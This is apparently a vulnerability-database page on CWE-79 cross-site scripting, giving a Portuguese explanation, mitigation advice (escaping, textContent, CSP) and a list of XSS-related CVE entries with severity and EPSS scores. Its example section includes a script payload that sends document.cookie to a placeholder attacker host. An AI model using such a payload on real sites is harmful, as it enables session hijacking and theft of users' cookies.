Fallos del tipo CWE-79

29.621 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11116MEDIUMInappropriate implementation in Blink in Google Chrome prior to 131.0.6778.69 allowed a remote attacker who convinced a user to engage in spEPSS 0.4%CVE-2024-30427MEDIUMWordPress Spiffy Calendar plugin <= 4.9.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-38195MEDIUMBUG-000150540 - Reflected XSS vulnerability in ArcGIS ServerEPSS 0.4%CVE-2023-29636MEDIUMCross site scripting (XSS) vulnerability in ZHENFENG13 My-Blog, allows attackers to inject arbitrary web script or HTML via the "title" fielEPSS 0.4%CVE-2026-23960HIGHArgo Workflows affected by stored XSS in the artifact directory listingEPSS 0.4%CVE-2023-30489HIGHWordPress Email Subscription Popup Plugin <= 1.2.16 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-9023MEDIUMWP-WebAuthn <= 1.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via wwa_login_form ShortcodeEPSS 0.4%CVE-2023-6122MEDIUMReflected XSS in Softomi E-commerce SoftwareEPSS 0.4%CVE-2023-29376MEDIUMAn issue was discovered in Progress Sitefinity 13.3 before 13.3.7647, 14.0 before 14.0.7736, 14.1 before 14.1.7826, 14.2 before 14.2.7930, aEPSS 0.4%CVE-2023-40047HIGHWS_FTP Server Stored Cross-Site Scripting VulnerabilityEPSS 0.4%CVE-2024-48654MEDIUMCross Site Scripting vulnerability in Blood Bank v.1 allows a remote attacker to execute arbitrary code via a crafted script to the login.phEPSS 0.4%CVE-2024-10197MEDIUMcode-projects Pharmacy Management System Manage Supplier Page manage_supplier.php cross site scriptingEPSS 0.4%CVE-2023-49225MEDIUMA cross-site-scripting vulnerability exists in Ruckus Access Point products (ZoneDirector, SmartZone, and AP Solo). If this vulnerability isEPSS 0.4%CVE-2018-25097LOWAcumos Design Studio cross site scriptingEPSS 0.4%CVE-2020-19660MEDIUMCross Site Scripting (XSS) pandao editor.md 1.5.0 allows attackers to execute arbitrary code via crafted linked url values.EPSS 0.4%CVE-2025-66412HIGHAngular Stored XSS Vulnerability via SVG Animation, SVG URL and MathML AttributesEPSS 0.4%CVE-2023-6333HIGHCross-site Scripting in ControlByWeb RelaysEPSS 0.4%CVE-2024-12696MEDIUMPicture Gallery – Frontend Image Uploads, AJAX Photo List <= 1.5.22 - Authenticated (Contributor+) Stored Cross-Site Scripting via videowhisper_picture_upload_guest ShortcodeEPSS 0.4%CVE-2026-2622MEDIUMBlossom Article Title ArticleController.java content cross site scriptingEPSS 0.4%CVE-2024-4698MEDIUMTestimonial Carousel For Elementor <= 10.1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%